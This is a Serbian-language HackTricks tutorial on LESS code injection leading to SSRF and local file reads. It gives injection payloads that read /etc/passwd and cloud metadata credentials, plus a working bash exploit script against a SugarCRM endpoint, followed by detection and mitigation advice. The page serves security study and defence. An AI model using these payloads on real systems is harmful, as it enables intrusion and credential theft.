LESS Code Injection vodi do SSRF & Čitanja lokalnih fajlova

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

LESS je popularni CSS preprocesor koji dodaje promenljive, mixine, funkcije i moćnu @import direktivu. Tokom kompajliranja, LESS engine će preuzeti resurse navedene u @import izjavama i ugraditi ("inline") njihov sadržaj u rezultantni CSS kada se koristi opcija (inline).

Kada aplikacija konkatenira ulaz koji kontroliše korisnik u string koji kasnije obrađuje LESS kompajler, napadač može ubaciti proizvoljni LESS kod. Zloupotrebom @import (inline) napadač može naterati server da preuzme:

  • Lokalne fajlove putem file:// protokola (otkrivanje informacija / Uključivanje lokalnih fajlova).
  • Udaljene resurse na internim mrežama ili uslugama metapodataka u oblaku (SSRF).

Ova tehnika je viđena u stvarnim proizvodima kao što je SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Eksploatacija

  1. Identifikujte parametar koji je direktno ugrađen unutar stringa stilskog lista koji obrađuje LESS engine (npr. ?lm= u SugarCRM).
  2. Zatvorite trenutnu izjavu i ubacite nove direktive. Najčešće primitivne su:
  • ; – završava prethodnu deklaraciju.
  • } – zatvara prethodni blok (ako je potrebno).
  1. Koristite @import (inline) '<URL>'; da pročitate proizvoljne resurse.
  2. Opcionalno, ubacite marker (data: URI) nakon importa da olakšate ekstrakciju preuzetog sadržaja iz kompajliranog CSS-a.

Čitanje lokalnih fajlova

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Sadržaj /etc/passwd će se pojaviti u HTTP odgovoru neposredno pre @@END@@ oznake.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automatizovani PoC (SugarCRM primer)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detekcija

  • Tražite dinamički generisane .less ili .css odgovore koji sadrže nesanitizovane parametre upita.
  • Tokom pregleda koda, pretražujte konstrukcije poput "@media all { .preview { ... ${userInput} ... } }" prosleđenih LESS render funkcijama.
  • Pokušaji eksploatacije često uključuju @import, (inline), file://, http://169.254.169.254, itd.

Mogućnosti ublažavanja

  • Ne prosleđujte nepouzdane podatke LESS kompajleru.
  • Ako su dinamičke vrednosti potrebne, pravilno escape/sanitizujte ih (npr., ograničite na numeričke tokene, bele liste).
  • Onemogućite, kada je to moguće, mogućnost korišćenja (inline) uvoza, ili ograničite dozvoljene protokole na https.
  • Održavajte zavisnosti ažuriranim – SugarCRM je ispravio ovaj problem u verzijama 13.0.4 i 14.0.1.

Slučajevi iz stvarnog sveta

ProizvodRanjiva tačkaUticaj
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Neautentifikovani SSRF & čitanje lokalnih fajlova

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks